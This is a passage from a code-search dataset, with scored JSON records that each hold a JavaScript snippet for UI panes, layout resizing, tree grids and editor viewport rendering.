vn(e),!1;\n // Bail out if the visible area is already rendered and nothing changed.\n if(!a.force&&a.visible.from>=n.viewFrom&&a.visible.to<=n.viewTo&&(null==n.updateLineNumbers||n.updateLineNumbers>=n.viewTo)&&n.renderedView==n.view&&0==En(e))return!1;za(e)&&(vn(e),a.dims=wa(e));\n // Compute a suitable new viewport (from & to)\n var f=r.first+r.size,o=Math.max(a.visible.from-e.options.viewportMargin,r.first),i=Math.min(f,a.visible.to+e.options.viewportMargin);n.viewFrom<o&&o-n.viewFrom<20&&(o=Math.max(r.first,n.viewFrom)),n.viewTo>i&&n.viewTo-i<20&&(i=Math.min(f,n.viewTo)),Jo&&(o=pe(e.doc,o),i=ge(e.doc,i));var s=o!=n.viewFrom||i!=n.viewTo||n.lastWrapHeight!=a.wrapperHeight||n.lastWrapWidth!=a.wrapperWidth;xn(e,o,i),n.viewOffset=ye(T(e.doc,n.viewFrom)),\n // Position the mover div to align with the current scroll position\n e.display.mover.style.top=n.viewOffset+\"px\";var c=En(e);if(!s&&0==c&&!a.force&&n.renderedView==n.view&&(null==n.updateLineNumbers||n.updateLineNumbers>=n.viewTo))return!1;\n // For big changes, we hide the enclosing element during the\n // update, since that speeds up the operations on most browsers.\n var u=Tn(e);\n // There might have been a widget with a focused element that got\n // hidden or updated, if so re-focus it.\n // Prevent selection and cursors from interfering with the scroll\n // width and height.\n return c>4&&(n.lineDiv.style.display=\"none\"),An(e,n.updateLineNumbers,a.dims),c>4&&(n.lineDiv.style.display=\"\"),n.renderedView=n.view,Nn(u),t(n.cursorDiv),t(n.selectionDiv),n.gutters.style.height=n.sizer.style.minHeight=0,s&&(n.lastWrapHeight=a.wrapperHeight,n.lastWrapWidth=a.wrapperWidth,Sn(e,400)),n.updateLineNumbers=null,!0}", "title": "" }, { "docid": "7a0b87503d617fd5bd84388bbf08d873", "score": "0.5053156", "text": "function SceneExplorerRow ( node ) {\n\t\t// row wrapper\n\t\tvar go = new GameObject( './panel', {\n\t\t\tnode: node,\n\t\t\tlayoutType: Layout.Vertical,\n\t\t\tlayoutAlignX: LayoutAlign.Stretch,\n\t\t\tlayoutAlignY: LayoutAlign.Start,\n\t\t} );\n\t\t// main button\n\t\tgo.button = go.addChild( {\n\t\t\trender: new RenderShape( {\n\t\t\t\tshape: Shape.Rectangle,\n\t\t\t\tcentered: false,\n\t\t\t\tfilled: true,\n\t\t\t\tcolor: 0xd9e2e7,\n\t\t\t\tactive: false\n\t\t\t} )\n\t\t} );\n\t\tgo.button.ui = new UI( {\n\t\t\tfitChildren: false,\n\t\t\tminHeight: 20,\n\t\t\tpad: 2,\n\t\t\tspacing: 4,\n\t\t\tlayoutType: Layout.Horizontal,\n\t\t\tlayoutAlignX: LayoutAlign.Stretch,\n\t\t\tlayoutAlignY: LayoutAlign.Center,\n\t\t\tclick: rowButtonClick.bind( go.button )\n\t\t});\n\t\tgo.button.image = go.button.addChild( './image', {\n\t\t\ttexture: UI.style.propertyList.values.object.icon,\n\t\t\trotation: -90,\n\t\t} );\n\t\tgo.button.label = go.button.addChild( './text', {\n\t\t\tsize: 12, color: 0x0, align: TextAlign.Left, bold: false, flex: 1,\n\t\t\tautoSize: true,\n\t\t} );\n\n\t\t// selected\n\t\tif ( node == propertyList.target ) {\n\t\t\tgo.button.label.color = 0x0066a5;\n\t\t\tgo.button.render.active = true;\n\t\t}\n\n\t\t// called to update row\n\t\tgo.nodeUpdated = function () {\n\t\t\tvar numKids = (node.numChildren ? ('(' + node.numChildren + ') ^B') : '^B' );\n\t\t\tvar scriptName = '';\n\t\t\tvar name = node.name ? node.name : node.constructor.name;\n\t\t\tif ( node.script ){\n\t\t\t\tvar scriptName = node.script.split( '/' );\n\t\t\t\tscriptName = ' ^b<' + scriptName[ scriptName.length - 1 ].replace( /^(.+)\\.([^\\.]+)$/, \"$1\" ) + '>';\n\t\t\t}\n\n\t\t\tgo.button.label.text = numKids + name + scriptName;\n\t\t\tgo.opacity = node.active ? 1 : 0.5;\n\t\t\tgo.button.image.opacity = node.numChildren ? 1 : 0.5;\n\t\t}\n\t\tgo.nodeUpdated();\n\n\t\t// expand\n\t\tgo.toggleExpand = function () {\n\t\t\t// collapsed\n\t\t\tif ( !go.expanded ) {\n\t\t\t\tvar highlight = UI.highlight;\n\t\t\t\tif ( !go.container ) {\n\t\t\t\t\t// container for child rows\n\t\t\t\t\tgo.container = go.addChild( {\n\t\t\t\t\t\tui: new UI( {\n\t\t\t\t\t\t\tpadLeft: 16,\n\t\t\t\t\t\t\tlayoutType: Layout.Vertical,\n\t\t\t\t\t\t\tlayoutAlignX: LayoutAlign.Stretch,\n\t\t\t\t\t\t\tlayoutAlignY: LayoutAlign.Start,\n\t\t\t\t\t\t\tfitChildren: true,\n\t\t\t\t\t\t} )\n\t\t\t\t\t} );\n\t\t\t\t\t// repopulate container\n\t\t\t\t\tvar ch = node.children;\n\t\t\t\t\tfor ( var i = 0, nc = ch.length; i < nc; i++ ) {\n\t\t\t\t\t\tif ( ch[ i ] !== highlight ) go.container.addChild( SceneExplorerRow( ch[ i ] ) );\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// just update\n\t\t\t\t\tfor ( var i = 0; i < go.container.numChildren; i++ ) {\n\t\t\t\t\t\tgo.container.getChild( i ).nodeUpdated();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tgo.button.image.rotation = 0;\n\t\t\t\tgo.container.active = true;\n\t\t\t} else {\n\t\t\t\t// collapse\n\t\t\t\tif ( go.container ) go.container.active = false;\n\t\t\t\tgo.button.image.rotation = -90;\n\t\t\t}\n\t\t\t// flag\n\t\t\tgo.expanded = !go.expanded;\n\t\t}\n\n\t\t// this row was removed\n\t\tgo.removedFromScene = function () {\n\t\t\tnode.off( 'removed', go.nodeRemoved );\n\t\t\tnode.off( 'childRemoved', go.nodeChildRemoved );\n\t\t\tnode.off( 'childAdded', go.nodeChildAdded );\n\t\t\tnode.off( 'activeChanged', go.nodeUpdated );\n\t\t\tnode.off( 'nameChanged', go.nodeUpdated );\n\t\t}\n\n\t\tgo.nodeRemoved = function () { go.parent = null; }\n\n\t\t// child row removed\n\t\tgo.nodeChildRemoved = function ( ch ) {\n\t\t\tgo.nodeUpdated();\n\t\t\tif ( go.container ) {\n\t\t\t\tfor ( var i = 0; i < go.container.numChildren; i++ ) {\n\t\t\t\t\tif ( go.container.getChild( i ).node == ch ){\n\t\t\t\t\t\tgo.container.removeChild( i );\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// node gained a child\n\t\tgo.nodeChildAdded = function ( ch, i ) {\n\t\t\tif ( ch === UI.highlight ) return;\n\t\t\tgo.nodeUpdated();\n\t\t\tif ( go.container ) {\n\t\t\t\tvar newRow = SceneExplorerRow( ch );\n\t\t\t\tgo.container.addChild( newRow, i );\n\t\t\t}\n\t\t}\n\n\t\t// find descendent row, if it exists\n\t\tgo.findRowForNode = function ( n ) {\n\t\t\tif ( n == node ) return go;\n\t\t\tif ( go.container ) {\n\t\t\t\tfor ( var i = 0; i < go.container.numChildren; i++ ) {\n\t\t\t\t\tvar r = go.container.getChild( i ).findRowForNode( n );\n\t\t\t\t\tif ( r ) return r;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\t// call fe( row ) on each row/subrow\n\t\tgo.traverse = function ( fe ) {\n\t\t\tfe( go );\n\t\t\tif ( go.container ) {\n\t\t\t\tfor ( var i = 0, nc = go.container.numChildren; i < nc; i++ ) {\n\t\t\t\t\tgo.container.getChild( i ).traverse( fe );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// listeners\n\t\tnode.on( 'removed', go.nodeRemoved, true );\n\t\tnode.on( 'childRemoved', go.nodeChildRemoved );\n\t\tnode.on( 'childAdded', go.nodeChildAdded );\n\t\tnode.on( 'activeChanged', go.nodeUpdated );\n\t\tnode.on( 'nameChanged', go.nodeUpdated );\n\t\treturn go;\n\t}", "title": "" }, { "docid": "3875fea3db99cbe4b1f3292492d988b1", "score": "0.50508034", "text": "isOpenIn(panelMultiView) {\n return this.node.panelMultiView == panelMultiView.node;\n }", "title": "" }, { "docid": "d99a6724b4c6091436d25b652ce962f8", "score": "0.5047376", "text": "function centralize() {\n var width = dock.offsetWidth;\n dock.style.marginLeft = (width / 2) * -1;\n}", "title": "" }, { "docid": "da2f594a50d379d6a7eebbe8d6b56418", "score": "0.5044836", "text": "expand () {\n this.root.toggle(true, true);\n }", "title": "" }, { "docid": "b91bfb32cf1fa7efae9527f4f3b73b04", "score": "0.5042019", "text": "function handlePostLayout() {\n $.titlebar.setVisible(true);\n $.dashboard_container.setVisible(true);\n}", "title": "" }, { "docid": "2a3deb6c804bb7af4bf59b236b29d9b3", "score": "0.50415003", "text": "renderFiller() {\n if (this.state.currentPane != \"myposts\") return <div class=\"AccountsContainerFiller\" />;\n return null;\n }", "title": "" }, { "docid": "52d26accd70fd3c05f8dadd5e017b226", "score": "0.50414336", "text": "function TreeGrid_InitialiseResize()\n{\n\t//we need to be in dragging\n\tif (__DRAG_DATA && __DRAG_DATA.Sizer)\n\t{\n\t\t//get our object from the simulator\n\t\tvar theObject = __SIMULATOR.Interpreter.LoadedObjects[__DRAG_DATA.Sizer.UIDObject];\n\t\t//valid?\n\t\tif (theObject)\n\t\t{\n\t\t\t//helpers\n\t\t\tvar i, c, headers, nLeft, nWidth, lines;\n\t\t\t//we need to store the ScrollPane Child Size\n\t\t\t__DRAG_DATA.Sizer.InitialScrollPaneChildSize = Get_NumberFromStyle(theObject.Paint.ScrollPane.Child.style.width);\n\t\t\t__DRAG_DATA.Sizer.InitialHeaderPanelScrollable = Get_NumberFromStyle(theObject.Paint.Header.Scrollable.Child.style.width);\n\n\t\t\t//create an array of positions for the columns\n\t\t\tvar headerData = [];\n\t\t\t//loop through the header cells\n\t\t\tfor (headers = theObject.Content.Headers.Cells, i = 0, c = headers.length; i < c; i++)\n\t\t\t{\n\t\t\t\t//get this header\n\t\t\t\tvar header = headers[i];\n\t\t\t\t//get its left\n\t\t\t\tnLeft = Get_NumberFromStyle(header.HTML.style.left, 0);\n\t\t\t\t//and its width\n\t\t\t\tnWidth = Get_NumberFromStyle(header.HTML.style.width, 0);\n\t\t\t\t//store it\n\t\t\t\theaderData.push({ Left: nLeft, Width: nWidth });\n\t\t\t}\n\t\t\t//store this in the dragdata\n\t\t\t__DRAG_DATA.Sizer.HeaderSizes = headerData;\n\t\t\t//have we got cells?\n\t\t\tif (theObject.Content.Cells && theObject.Content.Cells.Rows.length > 0)\n\t\t\t{\n\t\t\t\t//create an array of positions for the columns\n\t\t\t\tvar cellData = [];\n\t\t\t\t//get first row\n\t\t\t\tvar row = theObject.Content.Cells.Rows[0];\n\t\t\t\t//now loop through its objects\n\t\t\t\tfor (i = 0, c = row.Objects.length; i < c; i++)\n\t\t\t\t{\n\t\t\t\t\t//get this header\n\t\t\t\t\tvar cell = row.Objects[i];\n\t\t\t\t\t//get its left\n\t\t\t\t\tnLeft = Get_NumberFromStyle(cell.HTML.style.left, 0);\n\t\t\t\t\t//and its width\n\t\t\t\t\tnWidth = Get_NumberFromStyle(cell.HTML.style.width, 0);\n\t\t\t\t\t//store it\n\t\t\t\t\tcellData.push({ Left: nLeft, Width: nWidth, PROPERTY_LEFT: cell.Properties[__NEMESIS_PROPERTY_LEFT], PROPERTY_WIDTH: cell.Properties[__NEMESIS_PROPERTY_WIDTH] });\n\t\t\t\t}\n\t\t\t\t//store this in the drag data\n\t\t\t\t__DRAG_DATA.Sizer.CellSizes = cellData;\n\t\t\t}\n\t\t\t//have we got vertical lines\n\t\t\tif (theObject.Content.Lines && theObject.Content.Lines.VerticalLines)\n\t\t\t{\n\t\t\t\t//create an array of positions for the columns\n\t\t\t\tvar lineData = [];\n\t\t\t\t//now loop through its objects\n\t\t\t\tfor (lines = theObject.Content.Lines.VerticalLines, i = theObject.Content.Lines.VerticalForceEdges ? 1 : 0, c = lines.length; i < c; i++)\n\t\t\t\t{\n\t\t\t\t\t//get this line\n\t\t\t\t\tvar line = lines[i];\n\t\t\t\t\t//store it\n\t\t\t\t\tlineData.push(line.Left);\n\t\t\t\t}\n\t\t\t\t//store this in the drag data\n\t\t\t\t__DRAG_DATA.Sizer.LinePositions = lineData;\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e89cdb02544300428e15acd2756d8e61", "score": "0.502644", "text": "function renderEntityPaneAsso(sid) {\n renderEntityPane(sid);\n\n // see if the pane of the parent node needs to be updated\n var pnode = document.getElementById(sid).parentElement;\n while (pnode && pnode.id && spans[pnode.id]) {\n renderEntityPaneAsso(pnode.id);\n pnode = pnode.parentElement;\n }\n }", "title": "" }, { "docid": "a3cc85a919ad3d3970aea3904630790e", "score": "0.5025043", "text": "function composeSection5()\n {\n\n methods.addTOC( \"Portfolio Guidelines : Family XYZ\", \"Panes\" )\n addHeader( 'Portfolio Guidelines : Family XYZ' );\n\n //============================== \n // //\\\\ master placeholders\n // //\\\\ top master layout table\n //----------------------------------\n var borders = Array(6).fill([false, false, true, false ]);\n var widths = Array(6).fill( '16.66%' );\n borders[5][2] = false;\n var built = \n fm.layt({\n margin : [ 0,0,0,0 ],\n widths : widths,\n pads : { left:10, top:8, right:7, bottom:4 },\n borders : borders,\n cols : 6,\n bordCol : '#aaa',\n color: nheap.companyColors.blue_master,\n body: null\n }).tbl;\n ddCont.push( built );\n\n widths.forEach( (val, ix) => fm.section5TopChart( built.table.body[0][ix] ) );\n //----------------------------------\n // \\\\// top master layout table\n //----------------------------------\n\n\n\n\n //----------------------------------\n // //\\\\ bottom master layout table\n //----------------------------------\n var built = \n fm.layt({\n margin : [ 0,0,0,0 ],\n widths : [ '40%', '25%', '35%' ],\n pads : { left:10, top:8, right:7, bottom:4 },\n borders :\n [\n [ [false, false, false, false ], [true, false, false, false], [true, false, false, false] ]\n ],\n cols : 3,\n bordCol : '#aaa',\n color: nheap.companyColors.blue_master,\n body: null\n }).tbl;\n ddCont.push( built );\n\n buildBottomLeftTable( built.table.body[0][0] );\n built.table.body[0][1].text = 'in progress';\n built.table.body[0][2].text = 'in progress';\n\n ddCont[ ddCont.length - 1 ].pageBreak = 'after';\n //----------------------------------\n // \\\\// bottom master layout table\n // \\\\// master placeholders\n //==============================\n }", "title": "" }, { "docid": "555dca3d5716602f02ac1032fe1c2a83", "score": "0.5019758", "text": "function makeSmallOutputPane() {\n outputPaneRef.current.style.width = \"250px\"\n }", "title": "" }, { "docid": "2f0d7deecb29f70ad85f3ff26e03d97b", "score": "0.50160843", "text": "collapse () {\n this.root.toggle(true, false);\n }", "title": "" }, { "docid": "2b1a8e162decdb8120f6a5b4358fd853", "score": "0.5009865", "text": "get fixedContainerPosition() {\r\n return -(this.overflowCellsLimit * this.fullCellWidth);\r\n }", "title": "" }, { "docid": "e8166db16b5bb764fa3a841906b54060", "score": "0.5009501", "text": "function findPane(name, loc, dragflag) {\n const sel = `#${name}`;\n let pane = document.querySelector(sel);\n if (pane !== null) return pane;\n\n const host = wwt.getHost();\n if (host === null) { return null; }\n\n pane = document.createElement('div');\n host.appendChild(pane);\n\n pane.id = name;\n pane.setAttribute('class', `${name}pane`);\n\n const classes = pane.classList;\n if (loc !== null) {\n const style = pane.style;\n for (let attr in loc) {\n\tstyle[attr] = loc[attr];\n\tclasses.add(`pane-pos-${attr}`);\n }\n }\n\n if (dragflag) {\n pane.draggable = true;\n pane.addEventListener('dragstart', draggable.startDrag, false);\n }\n\n return pane;\n }", "title": "" }, { "docid": "054530a771dc0f79ccf987d7fd9024d5", "score": "0.5008883", "text": "_updatePanePosition() {\n if (this._isMobileNavigation()) {\n return;\n }\n\n if (window.pageYOffset >= NAVIGATION_PANE_ANIMATION_THRESHOLD) {\n this.elementRef.classList.add(STATES.sticky);\n this.menuPane.style.left = `${this.menuPaneRect.left}px`;\n } else {\n this._resetPanePosition();\n }\n }", "title": "" }, { "docid": "669d7f9b9f59afa00f4588901fa321ef", "score": "0.50069296", "text": "function openContentArea() {\n isOpenContentArea = true;\n // shows space\n showSpace(true);\n // show close ctrl\n contentCloseCtrl.classList.remove('content__button--hidden');\n // resize mall area\n mall.classList.add('mall--content-open');\n }", "title": "" }, { "docid": "dfe282c125ba4976d0c79ecbbd9eb598", "score": "0.5003629", "text": "panel() {\n\n if (this.$p.cursor.grid_id !== this.layout.id) {\n return\n }\n\n let lbl = this.$p.cursor.y$.toFixed(this.layout.prec)\n this.ctx.fillStyle = this.$p.colors.colorPanel\n\n let panwidth = this.layout.sb + 1\n\n let x = - 0.5\n let y = this.$p.cursor.y - PANHEIGHT * 0.5 - 0.5\n let a = 5 //* 0.5\n this.ctx.fillRect(x - 0.5, y, panwidth, PANHEIGHT)\n this.ctx.fillStyle = this.$p.colors.colorTextHL\n this.ctx.textAlign = 'left'\n this.ctx.fillText(lbl, a, y + 16)\n\n }", "title": "" }, { "docid": "377a3076e5c452463362e1fb8b8372d7", "score": "0.5002155", "text": "getContainerCell(cell) {\n while (!isNullOrUndefined(cell.ownerTable) && cell.ownerTable.isInsideTable) {\n cell = cell.ownerTable.associatedCell;\n }\n return cell;\n }", "title": "" }, { "docid": "68fb8879f36edea2a9a09bc50026f1cd", "score": "0.5001999", "text": "function tableCellViewer()\n{\n /**\n * Updates the view for the given accessible.\n *\n * @param aAccessible\n * The given accessible\n */\n this.update = function tableCellViewer_update(aAccessible)\n {\n if (!(aAccessible instanceof nsIAccessibleTableCell))\n return false;\n\n // columnIndex\n var columnIndex = aAccessible.columnIndex;\n this.columnIndexElm.textContent = columnIndex;\n\n // rowIndex\n var rowIndex = aAccessible.rowIndex;\n this.rowIndexElm.textContent = rowIndex;\n\n // columnExtent\n var columnExtent = aAccessible.columnExtent;\n this.columnExtentElm.textContent = columnExtent;\n \n // rowIndex\n var rowExtent = aAccessible.rowExtent;\n this.rowExtentElm.textContent = rowExtent;\n\n // isSelected\n var isSelected = aAccessible.isSelected();\n this.isSelectedElm.textContent = isSelected;\n\n // table, columnHeaderCells, rowHeaderCells\n this.addRelated(aAccessible);\n\n return true;\n }\n\n /**\n * Clear the view's data.\n */\n this.clear = function tableCellViewer_clear()\n {\n this.mTreeBox.view = null;\n\n this.columnIndexElm.textContent = \"\";\n this.rowIndexElm.textContent = \"\";\n this.columnExtentElm.textContent = \"\";\n this.rowExtentElm.textContent = \"\";\n this.isSelectedElm.textContent = \"\";\n }\n\n this.isCommandEnabled = function tableCellViewer_isCommandEnable(aCommand)\n {\n if (aCommand == \"cmdEditInspectInNewWindow\") {\n return this.mTreeView.selection.count == 1;\n }\n return false;\n },\n\n /**\n * Prepares 'inspectInNewView' command.\n */\n this.inspectInNewView = function tableCellViewer_inspectInNewView()\n {\n if (this.mTreeView.selection.count == 1) {\n var minAndMax = {};\n this.mTreeView.selection.getRangeAt(0, minAndMax, minAndMax);\n var node = this.mTreeView.getDOMNode(minAndMax.value);\n if (node) {\n inspectObject(node);\n }\n }\n }\n\n //////////////////////////////////////////////////////////////////////////////\n //// private\n\n this.addRelated = function tableCellViewer_addRelated(aAccessible)\n {\n this.mTreeView = new TableCellTreeView(aAccessible);\n this.mTreeBox.view = this.mTreeView;\n }\n\n this.mTree = document.getElementById(\"tableCell:accObjects\");\n this.mTreeBox = this.mTree.treeBoxObject;\n\n this.columnIndexElm = document.getElementById(\"tableCell:columnIndex\");\n this.rowIndexElm = document.getElementById(\"tableCell:rowIndex\");\n this.columnExtentElm = document.getElementById(\"tableCell:columnExtent\");\n this.rowExtentElm = document.getElementById(\"tableCell:rowExtent\");\n this.isSelectedElm = document.getElementById(\"tableCell:isSelected\");\n}", "title": "" }, { "docid": "e878c957fc2d1c0708fcec9496d4bdba", "score": "0.5000645", "text": "getContentArea(placement, menuElement, hasDismissibleIcon) {\n const { getDismissibleButton } = this;\n\n // Don't add the first content area if there is nothing to show\n if (!hasDismissibleIcon && !menuElement) {\n return false;\n }\n\n // Default content to provided menuElement or empty <PaneMenu> if none is provided\n let content = menuElement || <PaneMenu />;\n\n // If a dismissible buton is activated we merge this into the menuElement\n if (hasDismissibleIcon) {\n content = React.cloneElement(\n content,\n {},\n [getDismissibleButton()].concat(React.Children.toArray(content.props.children))\n );\n }\n\n return (\n <div\n className={classnames(css.paneHeaderButtonsArea, css[placement])}\n ref={this[`${placement}PaneButtonsArea`]}\n >\n { content }\n </div>\n );\n }", "title": "" }, { "docid": "6bd21bb1902bcf80887e64d911306d85", "score": "0.49963367", "text": "function resizeContent(pane, resizeComponents, contentType, sectionType) {\n\t\tvar section = (sectionType === undefined || sectionType === \"\" || sectionType === \"middle\")? \"\" : sectionType + \"_\";\n\t\t\tselector = \"#layout_\" + section + (contentType === \"accordion\" ? \"\" : \"content_\") + asPane[pane] + (contentType ? (contentType === \"accordion\" ? \"_accordion > .ui-accordion-content-active\" : \" > .ui-tabs-panel:visible\") : \"\"),\n\t\t\t$pane = $(selector),\n\t\t\t$content = $pane.children(\"div.ps-content-row:visible, div.ps-content-block:visible\"),\n\t\t\t$rows = $content.filter(\"div.ps-content-row, div.ps-content-block.ps-content-newgroup\"),\n\t\t\t$bam = $content.closest(\"div[id^=\\\"psc_bamset\\\"][id$=\\\"_widget\\\"]\"),\n\t\t\t$scard = $content.closest(\"div[id^=\\\"psc_scorecard\\\"][id$=\\\"_widget\\\"]\"),\n\t\t\tblockGroups = [],\n\t\t\tfixedBlockGroups = [],\n\t\t\t$blocks = undefined,\n\t\t\t$firstChild = $content.first(),\n\t\t\tpaneContentHeight = $pane.height() - (contentType ? 3 : 0),\n\t\t\t//paneContentWidth = $pane.width(),\n\t\t\tpaneContentWidth = (contentType === \"accordion\")? $pane.parent().width() : $pane.width(),\n\t\t\tfixedHeight = 0,\n\t\t\tavailableHeight = undefined,\n\t\t\tavailableWidth = undefined,\n\t\t\tblockHeight = undefined,\n\t\t\tblockWidth = undefined,\n\t\t\tblockCount = undefined,\n\t\t\trowWidth = undefined,\n\t\t\ti = 0,\n\t\t\tblockColumns = undefined,\n\t\t\tblockRows = undefined,\n\t\t\t$fixedBlocks = undefined;\n\n\t\t// clear .ddk-restrict-overflow\n\t\t$content.removeClass(\"ddk-restrict-overflow\");\n\t\t// fix accordion active option defect when pane is hidden\n\t\tif (contentType === \"accordion\") $pane.width(\"\");\n\n\t\t// allow 22px for scrollbar\n\t\t// except when:\n\t\t// - the html element has a class of `touch`\n\t\t// - any of the pane content has a `ps-pane-noscroll` or `ps-content-noscroll` flag class\n\t\t// - the pane content is a single div.ps-content-block\n\t\tif ($(\"html\").hasClass(\"touch\") || $content.hasClass(\"ps-pane-noscroll\") || $content.hasClass(\"ps-content-noscroll\") || ($content.size() === 1 && $content.hasClass(\"ps-content-block\"))) {\n\t\t\t// don't add scrollbar padding\n\t\t\t// add 2px padding buffer to handle rounding errors in block size calculations\n\t\t\tpaneContentWidth -= 2;\n\t\t\tpaneContentHeight -= 2;\n\t\t} else {\n\t\t\t// add scrollbar padding\n\t\t\tpaneContentWidth -= 22;\n\t\t\tpaneContentHeight -= 22;\n\t\t}\n\n\t\t// determine available width for rows and blocks\n\t\tavailableWidth = paneContentWidth;\n\t\tif (availableWidth < layoutContentMinwidth) { availableWidth = layoutContentMinwidth; }\n\t\trowWidth = availableWidth - 2 * layoutContentPadding; // - 2;\n\t\tif (rowWidth < layoutContentMinwidth) { rowWidth = layoutContentMinwidth; }\n\n\t\t// find first block group if the first child of the pane is a block but not a newgroup block\n\t\tif ($firstChild.hasClass(\"ps-content-block\") && !$firstChild.hasClass(\"ps-content-newgroup\")) {\n\t\t\t$blocks = $firstChild.nextUntil(\".ps-content-row:visible, .ps-content-block.ps-content-newgroup:visible\").addBack();\n\t\t\tif ($blocks.hasClass(\"ps-content-fixed\")) {\n\t\t\t\tfixedBlockGroups.push($blocks);\n\t\t\t} else {\n\t\t\t\tblockGroups.push($blocks);\n\t\t\t}\n\t\t}\n\n\t\t//console.log(\"Height: \", paneContentHeight, \" Width: \", paneContentWidth, \" Available Width: \", availableWidth);\n\n\t\t// loop through the rows and newgroup blocks\n\t\t$rows.each(function() {\n\t\t\tvar $this = $(this),\n\t\t\t\tborderVertical = (parseInt($this.css(\"border-top-width\")) || 0) + (parseInt($this.css(\"border-bottom-width\")) || 0),\n\t\t\t\tborderHorizontal = (parseInt($this.css(\"border-left-width\")) || 0) + (parseInt($this.css(\"border-right-width\")) || 0);\n\n\t\t\t// find all blocks in this group\n\t\t\tif ($this.hasClass(\"ps-content-block\")) {\n\t\t\t\t$blocks = $this.nextUntil(\".ps-content-row:visible, .ps-content-block.ps-content-newgroup:visible\").addBack();\n\t\t\t} else {\n\t\t\t\t$blocks = $this.nextUntil(\".ps-content-row:visible, .ps-content-block.ps-content-newgroup:visible\");\n\t\t\t}\n\t\t\tif ($blocks.size()) {\n\t\t\t\tif ($blocks.hasClass(\"ps-content-fixed\")) {\n\t\t\t\t\tfixedBlockGroups.push($blocks);\n\t\t\t\t} else {\n\t\t\t\t\tblockGroups.push($blocks);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ($this.hasClass(\"ps-content-row\")) {\n\t\t\t\t// set row element width\n\t\t\t\t$this.width(rowWidth - borderHorizontal);\n\n\t\t\t\t// resize control (if this row is a control div)\n\t\t\t\tresizeComponents && resizeControl($this);\n\n\t\t\t\t// add up row heights\n\t\t\t\tfixedHeight += $this.outerHeight(true);\n\t\t\t}\n\t\t});\n\n\t\t// resize each block group that contains a ps-content-fixed element\n\t\tfor (i = 0; i < fixedBlockGroups.length; i += 1) {\n\t\t\t$blocks = fixedBlockGroups[i];\n\n\t\t\t$fixedBlocks = $blocks.filter(\".ps-content-fixed\");\n\n\t\t\t// block height is based on the first fixed block element found in the group\n\t\t\t//console.log(\"Fixed block height components:\", parseInt($fixedBlocks.height()), (parseInt($fixedBlocks.css(\"border-top-width\")) || 0), (parseInt($fixedBlocks.css(\"border-bottom-width\")) || 0));\n\t\t\tblockHeight = parseInt($fixedBlocks.height()) + (parseInt($fixedBlocks.css(\"border-top-width\")) || 0) + (parseInt($fixedBlocks.css(\"border-bottom-width\")) || 0);\n\t\t\t//console.log(\"Calculated block height:\", blockHeight);\n\t\t\tavailableWidth = paneContentWidth;\n\t\t\t$fixedBlocks.each(function() {\n\t\t\t\tvar $this = $(this),\n\t\t\t\t\tborderVertical = (parseInt($this.css(\"border-top-width\")) || 0) + (parseInt($this.css(\"border-bottom-width\")) || 0),\n\t\t\t\t\tborderHorizontal = (parseInt($this.css(\"border-left-width\")) || 0) + (parseInt($this.css(\"border-right-width\")) || 0);\n\n\t\t\t\t\tavailableWidth -= $this.width() + borderHorizontal + 2 * layoutContentPadding; // + 2;\n\t\t\t});\n\n\t\t\tblockCount = $blocks.size() - $fixedBlocks.size();\n\t\t\tif (blockCount) {\n\t\t\t\tblockWidth = (availableWidth / blockCount).toFixed() - 2 * layoutContentPadding; // - 2;\n\n\t\t\t\t$blocks.each(function() {\n\t\t\t\t\tvar $this = $(this),\n\t\t\t\t\t\tborderVertical = (parseInt($this.css(\"border-top-width\")) || 0) + (parseInt($this.css(\"border-bottom-width\")) || 0),\n\t\t\t\t\t\tborderHorizontal = (parseInt($this.css(\"border-left-width\")) || 0) + (parseInt($this.css(\"border-right-width\")) || 0);\n\n\t\t\t\t\tif (!$this.hasClass(\"ps-content-fixed\")) {\n\t\t\t\t\t\t$this.height(blockHeight - borderVertical);\n\t\t\t\t\t\t$this.width(blockWidth - borderHorizontal);\n\t\t\t\t\t}\n\n\t\t\t\t\t// resize control (if this block is a control div)\n\t\t\t\t\tresizeComponents && resizeControl($this);\n\n\t\t\t\t});\n\t\t\t}\n\n\t\t\t// add fixed block group height\n\t\t\tfixedHeight += blockHeight + 2 * layoutContentPadding;\n\t\t}\n\n\t\t// determine available height for non-fixed-height blocks\n\t\tavailableHeight = paneContentHeight - fixedHeight;\n\t\tif (availableHeight < layoutContentMinheight) { availableHeight = layoutContentMinheight; }\n\t\tavailableWidth = paneContentWidth;\n\n\t\t// resize each block group that does not contain a ps-content-fixed element\n\t\tfor (i = 0; i < blockGroups.length; i += 1) {\n\t\t\t$blocks = blockGroups[i];\n\t\t\tblockCount = $blocks.size();\n\t\t\tblockRows = 1;\n\t\t\tblockColumns = 1;\n\n\t\t\tif (availableWidth > (2 * layoutContentMinwidth + 60) && blockCount > 1) { blockColumns = 2; }\n\t\t\tif (availableWidth > (3 * layoutContentMinwidth + 90) && blockCount > 2) { blockColumns = 3; }\n\n\t\t\tblockRows = (blockCount / blockColumns).toFixed();\n\t\t\tif (blockRows < 1) { blockRows = 1; }\n\n\t\t\t/* allow 2 * layout_content_padding for div element padding */\n\t\t\tblockHeight = (availableHeight / blockGroups.length / blockRows).toFixed() - 2 * layoutContentPadding;\n\t\t\tblockWidth = (availableWidth / blockColumns).toFixed() - 2 * layoutContentPadding; // - 2;\n\n\t\t\tif (blockHeight < layoutContentMinheight) { blockHeight = layoutContentMinheight; }\n\t\t\tif (blockWidth < layoutContentMinwidth) { blockWidth = layoutContentMinwidth; }\n\n\t\t\t$blocks.each(function() {\n\t\t\t\tvar $this = $(this),\n\t\t\t\t\tborderVertical = (parseInt($this.css(\"border-top-width\")) || 0) + (parseInt($this.css(\"border-bottom-width\")) || 0),\n\t\t\t\t\tborderHorizontal = (parseInt($this.css(\"border-left-width\")) || 0) + (parseInt($this.css(\"border-right-width\")) || 0);\n\n\t\t\t\t$this.height(blockHeight - borderVertical);\n\t\t\t\t$this.width(blockWidth - borderHorizontal);\n\n\t\t\t\t// resize control (if this block is a control div)\n\t\t\t\tresizeComponents && resizeControl($this);\n\t\t\t});\n\t\t}\n\t}", 